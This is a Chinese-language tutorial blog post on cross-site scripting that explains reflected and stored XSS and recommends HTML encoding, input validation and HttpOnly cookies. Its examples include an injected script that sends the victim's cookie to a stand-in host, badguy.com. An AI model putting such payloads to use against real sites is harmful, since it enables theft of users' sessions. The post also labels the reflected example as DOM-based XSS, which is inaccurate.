詳解Web應用安全系列(2)注入漏洞之XSS攻擊

永远的麦子發表於2024-06-21
上一篇介紹了SQL隱碼攻擊漏洞,今天我們來介紹另一個注入漏洞,即XSS跨站指令碼攻擊。XSS 全稱(Cross Site Scripting) 跨站指令碼攻擊, 是Web應用中常見的漏洞。指攻擊者在網頁中嵌入客戶端指令碼(一般是JavaScript),當使用者瀏覽此網頁時,指令碼就會在使用者的瀏覽器上執行,從而達到攻擊者的目的. ,比如獲取使用者的Cookie,導航到惡意網站,攜帶木馬等。

認識XSS攻擊

XSS攻擊這個名詞聽起來挺專業的,那麼它是如何發生的呢?
假如某個頁面的表單中有下面這樣一個textbox
<input type="text" name="address1" value="value1from">
value1from是來自使用者的輸入,如果使用者不是輸入value1from,而是輸入
"/><script>alert(document.cookie)</script><!-
那麼頁面上的textbox就變成下面這個樣子了。
<input type="text" name="address1" value=""/><script>alert(document.cookie)</script><!- ">

因為註釋符後面的內容被忽略了,所以上面的程式碼等價於:

<input type="text" name="address1" value=""/><script>alert(document.cookie)</script>

此時嵌入的JavaScript程式碼就會執行,頁面會出來一個彈窗,將使用者的cookie資訊列印出來。

當然上面這個例子看起來沒有什麼危害,但在實際的攻擊事件中,駭客可能將您的cookie傳送到他的網站中,從面達到盜取使用者cookie的目的。

XSS攻擊的兩種場景

1,DOM-Based XSS

DOM-Based顧名思義是直接嵌入攻擊指令碼到使用者的頁面中,並且受到影響的是當前使用者。
比如駭客發現了某個網站中的某個頁面存在XSS攻擊漏洞,頁面地址是:
http://victim.com/search.asp?term=apple

可以看到頁面接受一個叫term的QueryString引數,search.asp頁面程式碼可能是這樣的。

<html>
  <title></title>
  <body>
    Results  for  <%Request.QueryString("term")%>
    ...
  </body>
</html>

駭客建立了一個網站用來接收盜取來的資訊,然後透過注入攻擊的指令碼到這個請求的url中,然後url可能變成這樣。

http://victim.com/search.asp?term=<script>window.open("http://badguy.com?cookie="+document.cookie)</script>

當駭客訪問這個url後,攻擊指令碼就會嵌入到使用者的瀏覽器中,search.asp頁面就會變成下面這樣子。

<html>
  <title></title>
  <body>
    Results  for  <script>window.open("http://badguy.com?cookie="+document.cookie)</script>
    ...
  </body>
</html>

看到了嗎,XSS攻擊指令碼成功嵌入到使用者的瀏覽器中了,那麼當使用者再訪問這個頁面時,攻擊指令碼就會將使用者的cookie資訊傳送到他的網站,也就達到盜取使用者的資訊的目的了。

2,Stored XSS

Stored XSS即儲存式XSS漏洞,這種攻擊可能比上面這一種危害更大,攻擊者將攻擊指令碼上傳到web伺服器,使得所有訪問該頁面的使用者都面臨資訊洩露的可能。
Stored XSS的攻擊過程如下:
首先是駭客發現了系統某個頁面存在XSS漏洞,且該漏洞允許將攻擊程式碼儲存到資料庫中。
然後駭客就釋出了一篇文章,並且在文章中嵌入了惡意JavaScript指令碼。
那麼當其它使用者訪問到這篇文章的時候,嵌入在文章中的惡意JavaScript指令碼就會在使用者的瀏覽器中執行,那麼使用者的資訊可能就會被盜取。

防範措施

1,對使用者的輸入進行轉義再輸出到頁面

比如上面的例子:
<html>
  <title></title>
  <body>
    Results  for  <%Request.QueryString("term")%>
    ...
  </body>
</html>

由於.net已經內建了HTML編碼的工具類,可以使用System.Net.WebUtility.HtmlEncode(string)進行HTML編碼,最佳化後:

<html>
  <title></title>
  <body>
    Results  for  <%HtmlEncode(Request.QueryString("term"))%>
    ...
  </body>
</html>

如果遇到XSS攻擊,駭客輸入term=,最終經過HTML編碼後頁面是這樣子的:

<html>
  <title></title>
  <body>
    Results  for  &lt;script&gt;window.open(&quot;http://badguy.com?cookie=&quot;+document.cookie)&lt;/script&gt;
    ...
  </body>
</html>

可以看到,特殊字元都已經過轉義了,那麼嵌入的Javascript指令碼也就無法執行了。

2,對使用者的輸入進行校驗

意思是說只允許使用者輸入預期的資料,例如年齡的textbox中,只允許輸入數字,而數字之外的字元都過濾掉,這樣也就限制了駭客進行XSS攻擊的可能。

3,將重要的cookie標記為http only

將重要的cookie標記為http only,那麼透過JavaScript的document.cookie也就無法獲取到使用者的cookie了。
另外,我最近開發並開源了一個支援免費申請萬用字元SSL證書的平臺:華迅FreeCert,解決了每隔一段時間就要重新申請和部署證書(因為傳統的雲廠商提供的免費證書一般只有三個月有效期),不支援免費申請萬用字元證書這兩大痛點,歡迎大家註冊使用並提供寶貴意見,謝謝!

相關文章